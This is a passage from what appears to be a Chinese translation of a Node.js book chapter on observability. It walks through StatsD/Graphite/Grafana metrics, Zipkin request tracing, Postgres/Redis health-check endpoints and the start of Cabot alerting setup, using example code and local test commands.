再次开始,通过重建消费者服务的一个版本来实现。将在 示例 1-7 中创建的 web-api/consumer-http-basic.js 文件复制到 web-api/consumer-http-metrics.js 作为起点。然后,在那里修改文件,使其类似于 示例 4-7。确保运行 npm install 命令获取所需的包。
示例 4-7. web-api/consumer-http-metrics.js(上半部分)
#!/usr/bin/env node
// npm install fastify@3.2 node-fetch@2.6 statsd-client@0.4.4 middie@5.1 const server = require('fastify')();
const fetch = require('node-fetch');
const HOST = '127.0.0.1';
const PORT = process.env.PORT || 3000;
const TARGET = process.env.TARGET || 'localhost:4000';
const SDC = require('statsd-client');
const statsd = new (require('statsd-client'))({host: 'localhost',
port: 8125, prefix: 'web-api'}); 
(async () => {
await server.register(require('middie'));
server.use(statsd.helpers.getExpressMiddleware('inbound', { 
timeByUrl: true}));
server.get('/', async () => {
const begin = new Date();
const req = await fetch(`http://${TARGET}/recipes/42`);
statsd.timing('outbound.recipe-api.request-time', begin); 
statsd.increment('outbound.recipe-api.request-count'); 
const producer_data = await req.json();
return { consumer_pid: process.pid, producer_data };
});
server.get('/error', async () => { throw new Error('oh no'); });
server.listen(PORT, HOST, () => {
console.log(`Consumer running at http://${HOST}:${PORT}/`);
});
})();
指标名称以 web-api 为前缀。
一个通用的中间件,自动跟踪入站请求。
这追踪到 recipe-api 的感知时机。
外发请求的数量也有记录。
这组新变更涉及几件事情。首先,它需要 statsd-client 包,并配置到监听 localhost:8125 的 StatsD 服务的连接。它还配置了包以使用 web-api 的前缀值。此值代表报告指标的服务名称(同样,如果您对 recipe-api 进行类似更改,您将相应设置其前缀)。Graphite 通过使用层次结构来命名指标,因此从此服务发送的指标将都有相同的前缀,以区分其它服务发送的指标。
代码使用了statsd-client包提供的通用中间件。如方法名称所示,它最初是为Express设计的,但是 Fastify 大多数支持相同的中间件接口,因此该应用程序可以重用它。第一个参数是另一个前缀名称,inbound意味着此处发送的指标与传入请求相关联。
接下来,手动跟踪两个值。第一个是web-api认为recipe-api花费的时间量。请注意,此时间始终应比recipe-api认为响应花费的时间长。这是由于通过网络发送请求的开销。此时间值写入名为outbound.recipe-api.request-time的指标。该应用程序还跟踪发送的请求数量,提供为outbound.recipe-api.request-count。在此处甚至可以更加细化。例如,对于生产应用程序,还可以跟踪recipe-api响应的状态代码,这将使失败率增加可见。
接下来,分别在不同的终端窗口中运行以下命令。这将启动您新创建的服务,运行生产者的一个副本,运行 Autocannon 以获取一系列良好的请求流,并触发一些错误请求:
$ NODE_DEBUG=statsd-client node web-api/consumer-http-metrics.js
$ node recipe-api/producer-http-basic.js
$ autocannon -d 300 -R 5 -c 1 http://localhost:3000
$ watch -n1 curl http://localhost:3000/error
这些命令将生成一系列数据,通过 StatsD 传递到 Graphite。现在您已经有了一些数据,可以准备创建一个仪表板来查看它。
创建一个 Grafana 仪表板
作为web-api服务的所有者,至少需要提取三组不同的指标来衡量其健康状况。这包括传入的请求,尤其是区分 200 和 500 的请求。还包括recipe-api作为上游服务回复所花费的时间。最后一组所需信息是recipe-api服务的请求速率。如果确定web-api服务运行缓慢,您可以利用这些信息发现recipe-api服务正在拖慢其速度。
切换回带有 Grafana 界面的网络浏览器。侧边栏有一个大加号符号;点击它进入新仪表板界面。在这个界面上,您会看到一个新面板矩形。里面有一个添加查询按钮。点击该按钮进入查询编辑器界面。
在新屏幕上,你会看到顶部是一个空图表,下方是用于描述图表的输入框。界面允许你使用两个字段描述查询。第一个字段称为 Series,你可以在其中输入层级指标名称。第二个字段称为 Functions。这两个字段都提供了匹配指标名称的自动完成功能。首先,从 Series 字段开始。点击 Series 标签旁边的“select metric”文本,然后从下拉菜单中选择 stats_count。接着再次点击“select metric”,选择 web-api。依此类推,选择 inbound,response_code,最后选择 *(* 是通配符,匹配任何值)。此时,图表已更新,应显示两组条目。
目前图表标签还不够友好。它们显示的是整个层次结构名称,而不是易于阅读的值 200 和 500。可以使用 Function 来解决这个问题。点击 Functions 标签旁边的加号,然后点击 Alias,再点击 aliasByNode()。这将插入函数,并自动提供一个默认参数 4。这是因为查询中的星号在层次指标名称中是第四个条目(从零开始计数)。图表标签已更新,只显示 200 和 500。
在 Series 和 Functions 字段面板右上角,有一个铅笔图标,带有标题为 Toggle text edit mode 的工具提示。点击它,图形条目将转换为文本版本。这对于快速编写查询非常有帮助。你应该得到如下数值:
aliasByNode(stats_counts.web-api.inbound.response_code.*, 4)
在左侧列,点击标题为 General 的齿轮图标。在这个屏幕上,你可以修改关于此图表的通用设置。点击 Title 字段,并输入值 Incoming Status Codes。完成后,点击屏幕左上角的大箭头。这将从面板编辑屏幕返回到仪表板编辑屏幕。此时,你的仪表板将只有一个面板。
接下来,在屏幕右上角点击 Add panel 按钮,然后再次点击 Add query 按钮。这将允许你向仪表板添加第二个面板。下一个面板将跟踪查询 recipe-api 所需的时间。创建适当的 Series 和 Functions 条目以重现以下内容:
aliasByNode(stats.timers.web-api.outbound.*.request-time.upper_90, 4)
注意
StatsD 会为你生成一些指标名称。例如,stats.timers 是 StatsD 的前缀,web-api.outbound.recipe-api.request-time 是应用程序提供的,而该前缀下的与计时相关的指标名称(如 upper_90)则是由 StatsD 计算得出的。在这种情况下,查询关注的是 TP90 的计时数值。
由于此图表测量时间而不是通用计数器,因此应修改单位(此信息以毫秒为单位)。点击左侧的第二个选项卡,其工具提示为“可视化”。然后,向下滚动到标有 Axes 的部分,找到标题为 Left Y 的组,并点击单位下拉菜单。选择时间,然后点击毫秒(ms)。图表将随之使用正确的单位进行更新。
再次点击第三个 General 标签,将面板标题设置为 Outbound Service Timing。再次点击返回箭头,返回到仪表板编辑屏幕。
最后,再次点击添加面板按钮,并开始创建最后一个面板。此面板标题为 Outbound Request Count,不需要任何特殊单位,并使用以下查询:
aliasByNode(stats_counts.web-api.outbound.*.request-count, 3)
最后点击返回按钮,返回仪表板编辑屏幕。在屏幕右上角,点击保存仪表板图标,将仪表板命名为 Web API 概述,并保存仪表板。仪表板现在已保存,并将与一个 URL 相关联。如果您正在为您的组织永久安装的 Grafana 实例,这个 URL 将是一个永久链接,您可以将其提供给他人,并将其添加到您项目的 README 中。
随意拖动面板并调整大小,直到达到美观的效果。在屏幕右上角,您还可以更改时间范围。将其设置为“最近 15 分钟”,因为您可能没有比这更早的数据。完成后,您的仪表板应该看起来类似于 图 4-5。

图 4-5. 完成的 Grafana 仪表板
Node.js 健康指标
有关正在运行的 Node.js 进程的一些通用健康信息,也值得收集到仪表板中。通过在 web-api/consumer-http-metrics.js 文件末尾添加来自 示例 4-8 的代码来修改您的文件。重新启动服务,并关注正在生成的数据。这些新的指标表示随时间而变化的值,更适合表示为 Gauges。
示例 4-8. web-api/consumer-http-metrics.js(后半部分)
const v8 = require('v8');
const fs = require('fs');
setInterval(() => {
statsd.gauge('server.conn', server.server._connections); 
const m = process.memoryUsage(); 
statsd.gauge('server.memory.used', m.heapUsed);
statsd.gauge('server.memory.total', m.heapTotal);
const h = v8.getHeapStatistics(); 
statsd.gauge('server.heap.size', h.used_heap_size);
statsd.gauge('server.heap.limit', h.heap_size_limit);
fs.readdir('/proc/self/fd', (err, list) => {
if (err) return;
statsd.gauge('server.descriptors', list.length); 
});
const begin = new Date();
setTimeout(() => { statsd.timing('eventlag', begin); }, 0); 
}, 10_000);
与服务器的连接数
进程堆利用率
V8 堆利用率
打开文件描述符,具有讽刺意味的使用文件描述符
事件循环延迟
此代码将每隔 10 秒轮询 Node.js 的核心,获取有关进程的关键信息。作为对您新发现的 Grafana 技能的练习,创建五个新仪表板,包含这些新捕获的数据。在度量命名空间层次结构中,仪表度量从 stats.gauges 开始,而计时器从 stats.timers 开始。
第一组数据,以 server.conn 提供,是到 Web 服务器的活动连接数。大多数 Node.js Web 框架以某种方式公开此值;请查看您选择的框架的文档。
还捕获了有关进程内存使用情况的信息。这被记录为两个值,server.memory.used 和 server.memory.total。在为这些值创建图表时,它们的单位应设置为数据/字节,Grafana 足够智能以显示更具体的单位,如 MB。然后可以基于 V8 堆大小和限制创建一个非常类似的面板。
事件循环滞后指标显示应用程序调用函数所需的时间,该函数被安排在从调用 setTimeout() 开始到零毫秒的时间内运行。该图表应以毫秒为单位显示值。一个健康的事件循环应该在零到二之间。不堪重负的服务可能会开始花费数十毫秒。
最后,打开的文件描述符数量可能表明 Node.js 应用程序存在泄漏。有时文件会被打开但不会被关闭,这可能导致服务器资源的消耗,并导致进程崩溃。
添加了新面板后,您的仪表板可能会像 图 4-6 那样。保存修改后的仪表板,以防丢失您的更改。

图 4-6. 更新后的 Grafana 仪表板
本节仅涵盖了使用 StatsD、Graphite 和 Grafana 堆栈的基础知识。还有许多未涵盖的查询功能,包括其他形式的可视化,如如何手动为单个时间序列条目着色(例如对于 2XX 使用绿色,对于 4XX 使用黄色,对于 5XX 使用红色)等等。
使用 Zipkin 进行分布式请求追踪
“使用 ELK 进行日志记录” 研究了存储来自 Node.js 进程的日志。这些日志包含有关进程内部操作的信息。同样,“使用 Graphite、StatsD 和 Grafana 进行度量” 研究了存储数字度量。这些度量对于查看应用程序的数字数据总体,如端点的吞吐量和失败率,非常有用。然而,这些工具都不允许将特定外部请求与其可能生成的所有内部请求关联起来。
例如,考虑到到目前为止涵盖的服务的稍微复杂版本。不仅有 web-api 和 recipe-api 服务,还有额外的 user-api 和 user-store 服务。web-api 仍然像以前一样调用 recipe-api 服务,但现在 web-api 还会调用 user-api 服务,后者将进一步调用 user-store 服务。在这种情况下,如果任何一个服务产生 500 错误,该错误将传播并导致整体请求失败,显示为 500 错误。到目前为止使用的工具如何找到特定错误的原因?
如果你知道一个错误发生在周二下午 1:37,你可能会想要查看 ELK 存储的日志,时间从下午 1:36 到 1:38。老实说,我自己也做过这件事。不幸的是,如果日志量很大,这可能意味着要筛选成千上万条单独的日志条目。更糟糕的是,同时发生的其他错误可能会“混淆视听”,使人难以知道哪些日志实际上与错误请求相关联。
在非常基础的层面上,通过传递 request ID 可以将组织内更深的请求与单个外部入站请求关联起来。这是在收到第一个请求时生成的唯一标识符,然后在上游服务之间传递。然后,与此请求相关的任何日志将包含某种 request_id 字段,可以使用 Kibana 进行过滤。这种方法解决了关联请求的难题,但失去了有关相关请求层次结构的信息。
Zipkin,有时也称为 OpenZipkin,是一种旨在缓解类似情况的工具。Zipkin 是一个运行并公开 HTTP API 的服务。此 API 接受描述请求元数据的 JSON 负载,因为它们由客户端发送和服务器接收。Zipkin 还定义了一组从客户端传递到服务器的标头。这些标头允许进程将客户端的出站请求与服务器的入站请求关联起来。还会发送时间信息,这样 Zipkin 可以显示请求层次结构的图形时间线。
如何使用 Zipkin?
在前述涉及四个服务的情景中,服务之间的关系经过四次请求。在这种情况下,将发送七条消息到 Zipkin 服务。图 4-7 包含服务关系、传递消息和额外标头的可视化。

图 4-7。示例请求和 Zipkin 数据
这本书迄今为止多次重复的一个概念是,客户端将感知请求的一个延迟,而服务器将感知另一个延迟。客户端始终认为请求时间比服务器长。这是由于消息在网络上传输的时间,以及其他难以测量的因素,例如 Web 服务器包在用户代码开始测量时间之前自动解析 JSON 请求所需的时间。
Zipkin 允许您测量客户端和服务器之间的意见差异。这就是为什么在示例情况中的四个请求,如 Figure 4-7 中标记为实线箭头,会导致发送到 Zipkin 的七条不同消息。以 S1 结尾的第一条消息仅包含一个 服务器消息。在这种情况下,第三方客户端未报告其感知时间,因此只有服务器消息。对于以 S2、S3 和 S4 结尾的三个请求,存在相应的 客户端消息,即 C2、C3 和 C4。
不同的客户端和服务器消息可以从不同的实例异步发送,并且可以以任何顺序接收。然后,Zipkin 服务将它们拼接在一起,并使用 Zipkin Web UI 可视化请求层次结构。C2 消息看起来会像这样:
[{
"id": "0000000000000111",
"traceId": "0000000000000100",
"parentId": "0000000000000110",
"timestamp": 1579221096510000,
"name": "get_recipe", "duration": 80000, "kind": "CLIENT",
"localEndpoint": {
"serviceName": "web-api", "ipv4": "127.0.0.1", "port": 100
},
"remoteEndpoint": { "ipv4": "127.0.0.2", "port": 200 },
"tags": {
"http.method": "GET", "http.path": "/recipe/42", "diagram": "C2"
}
}]
这些消息可以被应用程序排队,并偶尔以批处理方式刷新到 Zipkin 服务,这就是为什么根 JSON 条目是一个数组的原因。在 Example 4-9 中,仅传输了单条消息。
客户端消息和服务器消息对最终包含相同的 id、traceId 和 parentId 标识符。timestamp 字段表示客户端或服务器首次感知到请求开始的时间,duration 表示服务认为请求持续的时间。这两个字段都是以微秒为单位进行测量。Node.js 的 wall clock,可通过 Date.now() 获取,只有毫秒级的精度,因此通常将其乘以 1,000。^(1) kind 字段设置为 CLIENT 或 SERVER,取决于记录请求的哪一侧。name 字段表示端点的名称,应具有有限的值集(换句话说,不要使用标识符)。
localEndpoint 字段表示发送消息的服务(具有 SERVER 消息的服务器或具有 CLIENT 消息的客户端)。服务在此提供自己的名称,监听的端口以及自己的 IP 地址。remoteEndpoint 字段包含有关其他服务的信息(SERVER 消息可能不知道客户端的 port,甚至可能不知道客户端的 name)。
tags 字段包含有关请求的元数据。在此示例中,提供了关于 HTTP 请求的信息,如 http.method 和 http.path。对于其他协议,会附加不同的元数据,例如 gRPC 服务和方法名称。
在 Table 4-2 中重新创建了七条不同消息中发送的标识符。
Table 4-2. 从 Figure 4-7 报告的值
| Message | id |
parentId |
traceId |
kind |
|---|---|---|---|---|
| S1 | 110 | N/A | 100 | SERVER |
| C2 | 111 | 110 | 100 | CLIENT |
| S2 | 111 | 110 | 100 | SERVER |
| C3 | 121 | 110 | 100 | CLIENT |
| S3 | 121 | 110 | 100 | SERVER |
| C4 | 122 | 121 | 100 | CLIENT |
| S4 | 122 | 121 | 100 | SERVER |
除了发送到服务器的消息外,Zipkin 的另一个重要部分是从客户端到服务器发送的元数据。不同的协议对发送此元数据有不同的标准。对于 HTTP,元数据通过标头发送。这些标头由 C2、C3 和 C4 提供,并由 S2、S3 和 S4 接收。这些标头每个都有不同的含义:
X-B3-TraceId
Zipkin 将所有相关请求称为一个trace。这个值是 Zipkin 的request ID的概念。这个值在所有相关请求之间传递,不变。
X-B3-SpanId
一个span代表一个单独的请求,从客户端和服务器的视角看(如 C3/S3)。客户端和服务器将使用相同的 span ID 发送消息。一个跟踪中可以有多个 span,形成树结构。
X-B3-ParentSpanId
parent span用于将子 span 与父 span 关联起来。对于起始的外部请求,该值缺失,但对于更深层次的请求,该值存在。
X-B3-Sampled
这是用于确定是否将特定跟踪报告给 Zipkin 的机制。例如,组织可以选择仅跟踪 1%的请求。
X-B3-Flags
这可以用来告诉下游服务,这是一个调试请求。建议服务随后增加其日志详细程度。
每个服务为每个出站请求创建一个新的 span ID。然后,当前 span ID 作为出站请求中的父 ID 提供。这就是关系层次结构形成的方式。
现在您已经了解了 Zipkin 的复杂性,是时候运行 Zipkin 服务的本地副本并修改应用程序与其交互了。
通过 Docker 运行 Zipkin
Docker 提供了一个便利的平台来运行服务。与本章涵盖的其他工具不同,Zipkin 提供了一个 API 和一个使用相同端口的 UI。Zipkin 默认使用9411端口。
运行此命令下载并启动 Zipkin 服务:^(2)
$ docker run -p 9411:9411 \
-it --name distnode-zipkin \
openzipkin/zipkin-slim:2.19
从 Node.js 传输跟踪
对于本例,您将再次从修改现有应用程序开始。将在 Example 1-7 中创建的web-api/consumer-http-basic.js文件复制到web-api/consumer-http-zipkin.js,作为起点。修改文件以看起来像 Example 4-9 中的代码。
Example 4-9. web-api/consumer-http-zipkin.js
#!/usr/bin/env node
// npm install fastify@3.2 node-fetch@2.6 zipkin-lite@0.1 const server = require('fastify')();
const fetch = require('node-fetch');
const HOST = process.env.HOST || '127.0.0.1';
const PORT = process.env.PORT || 3000;
const TARGET = process.env.TARGET || 'localhost:4000';
const ZIPKIN = process.env.ZIPKIN || 'localhost:9411';
const Zipkin = require('zipkin-lite');
const zipkin = new Zipkin({ 
zipkinHost: ZIPKIN,
serviceName: 'web-api', servicePort: PORT, serviceIp: HOST,
init: 'short' 
});
server.addHook('onRequest', zipkin.onRequest()); 
server.addHook('onResponse', zipkin.onResponse());
server.get('/', async (req) => {
req.zipkin.setName('get_root'); 
const url = `http://${TARGET}/recipes/42`;
const zreq = req.zipkin.prepare(); 
const recipe = await fetch(url, { headers: zreq.headers });
zreq.complete('GET', url);
const producer_data = await recipe.json();
return {pid: process.pid, producer_data, trace: req.zipkin.trace};
});
server.listen(PORT, HOST, () => {
console.log(`Consumer running at http://${HOST}:${PORT}/`);
});
需要导入并实例化zipkin-lite包。
web-api 接受外部请求并可以生成跟踪 ID。
当请求开始和完成时,会调用钩子。
每个端点都需要指定其名称。
出站请求需要手动进行仪器化。
注意
这些示例使用了zipkin-lite包。此包需要手动仪器化,即开发者必须调用不同的钩子来与该包进行交互。我选择它来帮助演示 Zipkin 报告过程的不同部分。对于生产应用程序,官方的 Zipkin 包zipkin将是更好的选择。
消费者服务代表了外部客户端将要通信的第一个服务。因此,已启用init配置标志。这将允许服务生成一个新的跟踪 ID。理论上,可以配置反向代理来生成初始标识符值。serviceName、servicePort和serviceIp字段各自用于向 Zipkin 报告有关正在运行的服务的信息。
zipkin-lite包允许在请求中插入onRequest和onResponse钩子。首先运行onRequest处理程序,记录请求开始的时间并注入req.zipkin属性,该属性可以在请求的整个生命周期中使用。随后调用onResponse处理程序,计算请求的总体时间并向 Zipkin 服务器发送SERVER消息。
在请求处理程序中,需要完成两件事情。第一件事是设置端点的名称,通过调用req.zipkin.setName()来完成。第二件事是对发送的每个出站请求应用适当的头部,并计算请求所花费的时间。首先调用req.zipkin.prepare()来完成这一步。当调用此方法时,记录另一个时间值并生成新的 span ID。将这个 ID 和其他必要的头部信息提供给返回值,将其分配给变量zreq。
然后通过zreq.headers将这些头部提供给请求。一旦请求完成,调用zreq.complete(),传入请求方法和 URL。完成后,计算总共花费的时间,并向 Zipkin 服务器发送CLIENT消息。
接下来,生产服务也应该进行修改。这很重要,因为不仅应该报告客户端感知的时间(在本例中为 web-api),还应该报告服务器视角的时间(recipe-api)。将 示例 1-6 中创建的 recipe-api/producer-http-basic.js 文件复制到 recipe-api/producer-http-zipkin.js 作为起点。修改文件使其看起来像 示例 4-10 中的代码。大部分文件可以保持不变,因此只显示必要的更改部分。
示例 4-10. recipe-api/producer-http-zipkin.js(已截断)
const PORT = process.env.PORT || 4000;
const ZIPKIN = process.env.ZIPKIN || 'localhost:9411';
const Zipkin = require('zipkin-lite');
const zipkin = new Zipkin({
zipkinHost: ZIPKIN,
serviceName: 'recipe-api', servicePort: PORT, serviceIp: HOST,
});
server.addHook('onRequest', zipkin.onRequest());
server.addHook('onResponse', zipkin.onResponse());
server.get('/recipes/:id', async (req, reply) => {
req.zipkin.setName('get_recipe');
const id = Number(req.params.id);
示例 4-10 不作为根服务,因此忽略了 init 配置标志。如果直接收到请求,它不会生成追踪 ID,不像 web-api 服务那样。同时,请注意,即使示例未使用,相同的 req.zipkin.prepare() 方法也适用于这个新的 recipe-api 服务。在实现你拥有的服务中引入 Zipkin 时,你应该尽可能地向上游服务传递 Zipkin 标头。
请确保在两个项目目录中运行 npm install zipkin-lite@0.1 命令。
创建完这两个新的服务文件后,请运行它们,然后通过运行以下命令生成对 web-api 的请求:
$ node recipe-api/producer-http-zipkin.js
$ node web-api/consumer-http-zipkin.js
$ curl http://localhost:3000/
curl 命令的输出中现在应该有一个名为 trace 的新字段。这是传递给服务之间请求系列的追踪 ID。该值应为 16 个十六进制字符,在我的情况下,我收到的值是 e232bb26a7941aab。
可视化请求树
请求数据已发送到你的 Zipkin 服务器实例。现在是时候打开网页界面,看看数据如何可视化了。在浏览器中打开以下 URL:
http://localhost:9411/zipkin/
现在你应该能看到 Zipkin 网页界面。它目前可能不太激动人心。左侧边栏包含两个链接。第一个像放大镜一样,是当前的发现屏幕。第二个链接类似网络节点,指向依赖关系屏幕。屏幕顶部有一个加号,用于指定要搜索的请求。使用此工具,你可以指定诸如服务名称或标签等条件。但现在你可以忽略这些。屏幕右上角有一个简单的搜索按钮,点击放大镜图标即可执行搜索。
图 4-8 展示了在执行搜索后界面应该看起来的样子。假设你只运行了一次 curl 命令,你应该只能看到一个条目。

图 4-8. Zipkin discover 界面
单击条目以进入时间轴视图页面。此页面以两列显示内容。左列显示请求的时间轴。水平轴表示时间。时间轴顶部的单位显示自第一个具有给定跟踪 ID 的SERVER跟踪开始以来经过的时间。垂直行表示请求的深度;随着每个后续服务发出另一个请求,将添加新行。
对于您的时间轴,您应该看到两行。第一行由web-api生成,并有一个名为get_root的调用。第二行由recipe-api生成,并有一个名为get_recipe的调用。基于先前提到的具有额外的user-api和user-store的系统的更复杂版本的时间轴,显示在图 4-9 中。

图 4-9. 示例 Zipkin 跟踪时间轴
单击第二行。右列将更新以显示有关请求的附加元数据。注解栏显示了您点击的跨度的时间轴。根据请求的速度,您将看到两到四个点。最左侧和最右侧的点表示客户端感知请求所需的时间。如果请求足够慢,您应该会看到两个内部点,这些点表示服务器感知请求所需的时间。由于这些服务速度很快,点可能重叠,并且会被 Zipkin 界面隐藏。
标签部分显示与请求关联的标签。这可用于调试哪些端点需要最长时间来处理,以及哪些服务实例(通过使用 IP 地址和端口)是罪魁祸首。
可视化微服务依赖关系
Zipkin 界面还可以用来显示其接收到的请求的聚合信息。单击侧边栏中的依赖项链接以进入依赖项屏幕。屏幕应该大部分是空白的,顶部有一个选择器用于指定时间范围并执行搜索。默认值应该是合适的,因此单击放大镜图标执行搜索。
屏幕随即更新,显示出两个节点。Zipkin 已经搜索了与时间范围匹配的不同跨度。利用这些信息,它已确定了服务之间的关联关系。对于这两个示例应用程序,界面并不是那么有趣。在左侧,您应该看到表示web-api(请求发起的地方)的节点,而在右侧,您应该看到表示recipe-api(堆栈中最深的服务)的节点。小点从屏幕左侧移动到右侧,显示两个节点之间流量的相对量。
如果您在组织中使用 Zipkin 与许多不同的服务,您将看到服务之间关系更复杂的地图。图 4-10 是更复杂示例中四个服务之间关系的一个例子。

图 4-10. Zipkin 依赖视图示例
假设组织中的每个服务都使用 Zipkin,这样的图表将是理解服务之间相互连接的强大工具。
健康检查
"负载均衡和健康检查" 讲述了如何配置 HAProxy 自动将运行中的服务实例从候选实例池中移除并重新添加,以便路由请求。HAProxy 可以通过向您选择的端点发出 HTTP 请求并检查状态码来实现此功能。这样的端点也对检查服务的liveness(即新部署的服务已完成启动阶段,并准备接收请求,比如建立数据库连接)非常有用。Kubernetes 在第七章中也可以利用这样的 liveness 检查。了解应用程序是否健康通常是非常有用的。
通常情况下,应用程序如果能够正确响应请求并且没有不良副作用,就可以被视为健康。如何衡量这一点的具体方法会根据应用程序的不同而变化。如果一个应用程序需要连接数据库,而连接丢失,那么该应用程序可能无法处理接收到的请求。(请注意,您的应用程序应该尝试重新连接数据库;这在"数据库连接弹性"中有所涵盖。)在这种情况下,应用程序声明自身不健康是有意义的。
另一方面,有些特性存在一些灰色地带。例如,如果一个服务无法建立到缓存服务的连接,但仍能连接到数据库并处理请求,那么可能可以宣布自己健康。在这种情况下的灰色地带是响应时间。如果服务无法再实现其 SLA,那么继续运行可能会成为风险,因为这可能会给您的组织带来损失。在这种情况下,宣布服务降级可能是有道理的。
如果降级服务宣布自己不健康,会发生什么情况?某种部署管理工具可能会重新启动服务。但是,如果问题是缓存服务停机,那么可能会重新启动每个服务。这可能导致没有服务可用来提供请求。此场景将在 “使用 Cabot 进行警报” 中进行覆盖。目前,认为缓慢/降级的服务是健康的。
健康检查通常定期运行。有时会由外部服务的请求触发,例如 HAProxy 发起的 HTTP 请求(默认每两秒执行一次)。有时会在内部触发,例如通过 setInterval() 调用,在向外部发现服务(如 Consul)报告健康状态之前检查应用程序的健康状况(可能每 10 秒运行一次)。无论如何,运行健康检查的开销都不应太高,以至于进程被减速或数据库被压垮。
构建健康检查
在本节中,您将为一个相当无聊的服务构建健康检查。此应用程序将同时连接到类似于持久数据存储的 PostgreSQL 数据库,以及代表缓存的 Redis 连接。
在开始编写代码之前,您需要运行两个后端服务。运行 Example 4-11 中的命令来启动 Postgres 和 Redis 的副本。您需要在新的终端窗口中运行每个命令。可以使用 Ctrl + C 来终止任何一个服务。
Example 4-11. 运行 Postgres 和 Redis
$ docker run \
--rm \
-p 5432:5432 \
-e POSTGRES_PASSWORD=hunter2 \
-e POSTGRES_USER=tmp \
-e POSTGRES_DB=tmp \
postgres:12.3
$ docker run \
--rm \
-p 6379:6379 \
redis:6.0
接下来,从头开始创建一个名为 basic-http-healthcheck.js 的新文件。将内容从 Example 4-12 插入到您新创建的文件中。
Example 4-12. basic-http-healthcheck.js
#!/usr/bin/env node
// npm install fastify@3.2 ioredis@4.17 pg@8.3 const server = require('fastify')();
const HOST = '0.0.0.0';
const PORT = 3300;
const redis = new (require("ioredis"))({enableOfflineQueue: false}); 
const pg = new (require('pg').Client)();
pg.connect(); // Note: Postgres will not reconnect on failure
server.get('/health', async (req, reply) => {
try {
const res = await pg.query('SELECT $1::text as status', ['ACK']);
if (res.rows[0].status !== 'ACK') reply.code(500).send('DOWN');
} catch(e) {
reply.code(500).send('DOWN'); 
}
// ... other down checks ...
let status = 'OK';
try {
if (await redis.ping() !== 'PONG') status = 'DEGRADED';
} catch(e) {
status = 'DEGRADED'; 
}
// ... other degraded checks ...
reply.code(200).send(status);
});
server.listen(PORT, HOST, () => console.log(`http://${HOST}:${PORT}/`));
Redis 离线时请求将失败。
如果无法访问 Postgres,则完全失败。
如果无法访问 Redis,则在降级状态下通过。
该文件利用了 ioredis 包来连接和查询 Redis。它还使用了 pg 包来处理 PostgreSQL。当实例化 ioredis 时,它会默认连接到本地运行的服务,这就是为什么不需要连接详细信息。enableOfflineQueue 标志指定当 Node.js 进程无法连接到 Redis 实例时是否应将命令排队。它默认为 true,意味着请求可以排队。由于 Redis 被用作缓存服务而不是主要数据存储,所以该标志应设置为 false。否则,排队访问缓存的请求可能比连接到真实数据存储要慢。
pg 包默认连接到本地运行的 Postgres 实例,但仍然需要一些连接信息。这些信息将使用环境变量提供。
此健康检查端点首先配置为检查运行所需的关键特性。如果其中任何特性缺失,端点将立即失败。在本例中,仅适用于 Postgres 检查,但真实应用程序可能会有更多检查。随后运行会导致服务降级的检查。在此情况下,仅适用于 Redis 检查。这些检查通过查询后端存储并检查其合理响应来工作。
请注意,降级的服务将返回 200 状态码。例如,HAProxy 可以配置为仍然将请求定向到此服务。如果服务降级,则可能会生成警报(参见“使用 Cabot 进行警报”)。弄清楚为什么缓存不起作用不是我们应用程序应该关心的事情。问题可能是 Redis 本身崩溃了或存在网络问题。
现在服务文件准备就绪,请运行以下命令启动服务:
$ PGUSER=tmp PGPASSWORD=hunter2 PGDATABASE=tmp \
node basic-http-healthcheck.js
已提供了作为环境变量的 Postgres 连接变量,并由底层 pg 包使用。在生产代码中,显式命名这些变量是更好的方法,这些变量仅用于简洁性。
现在您的服务正在运行,现在是时候尝试使用健康检查了。
测试健康检查
进程运行并连接到数据库后,应考虑其是否处于健康状态。执行以下请求以检查应用程序的状态:
$ curl -v http://localhost:3300/health
响应应包含消息 OK 并具有相关的 200 状态码。
现在我们可以模拟降级情况。将注意力转向 Redis 服务,并按下 Ctrl + C 杀死进程。您将看到一些错误消息从 Node.js 进程中打印出来。它们将快速开始,然后由于 ioredis 模块在尝试重新连接到 Redis 服务器时使用指数退避而变慢。这意味着它会快速重试,然后减慢速度。
现在应用程序不再连接到 Redis,再次运行相同的 curl 命令。这次,响应体应包含消息 DEGRADED,尽管仍然具有 200 状态码。
切换回您之前运行 Redis 的终端窗口。重新启动 Redis 服务,切换回您运行 curl 的终端,并再次运行请求。根据您的时间安排,您可能仍会收到 DEGRADED 消息,但一旦 ioredis 能够重新建立连接,最终将收到 OK 消息。
注意,以这种方式终止 Postgres 会导致应用程序崩溃。pg库不像ioredis提供相同的自动重连功能。需要向应用程序添加额外的重连逻辑来使其正常工作。“数据库连接韧性”中包含了一个示例。
使用 Cabot 进行警报
有些问题简单地通过自动终止和重启进程来解决是不可能的。与前一节提到的状态服务相关的问题,如下线的 Redis 服务,就是一个例子。升高的 5XX 错误率是另一个常见的例子。在这些情况下,通常需要提醒开发者找出问题的根本原因并加以修复。如果这类错误会导致收入损失,那么半夜唤醒开发者就成为必要。
在这些情况下,手机通常是唤醒开发者的最佳媒介,通常通过触发实际的电话来实现。其他消息格式,如电子邮件、聊天室消息和短信,通常没有令人烦恼的响铃声,往往无法满足开发者的警报需求。
在这一部分,你将设置一个Cabot实例,这是一个用于轮询应用程序健康状态和触发警报的开源工具。Cabot 支持多种健康检查形式,例如查询 Graphite 并将报告的值与阈值进行比较,以及 ping 主机。Cabot 还支持发出 HTTP 请求,这正是本节所涵盖的内容。
在这一部分,你还将创建一个免费的Twilio试用账户。Cabot 可以使用此账户发送短信和打电话。如果你不想创建 Twilio 账户,可以跳过这一部分。在那种情况下,你将只能看到一个仪表板从愉快的绿色变成愤怒的红色。
本节中的示例将让你在 Cabot 中创建一个单一用户,并且该用户将接收所有警报。实际情况中,组织会设置排班计划,通常称为值班轮换。在这些情况下,接收警报的人员将依赖于排班。例如,第一周可能是 Alice,第二周是 Bob,第三周是 Carol,然后又回到 Alice。
注意
在真实组织中的另一个重要特性是所谓的运行手册。运行手册通常是 wiki 中的一页,与特定警报相关联。运行手册包含如何诊断和修复问题的信息。这样,当工程师在凌晨 2 点收到数据库延迟警报时,他们可以了解如何访问数据库并运行查询。对于这个示例,你不需要创建运行手册,但在实际情况下务必做到如此。
创建 Twilio 试用账户
此时,请前往https://twilio.com,并创建一个试用账户。创建账户时,你将获得两个数据,这些数据是配置 Cabot 所需的。第一条信息称为Account SID。这是一个以AC开头并包含一串十六进制字符的字符串。第二条信息是Auth Token。这个值看起来只是普通的十六进制字符。
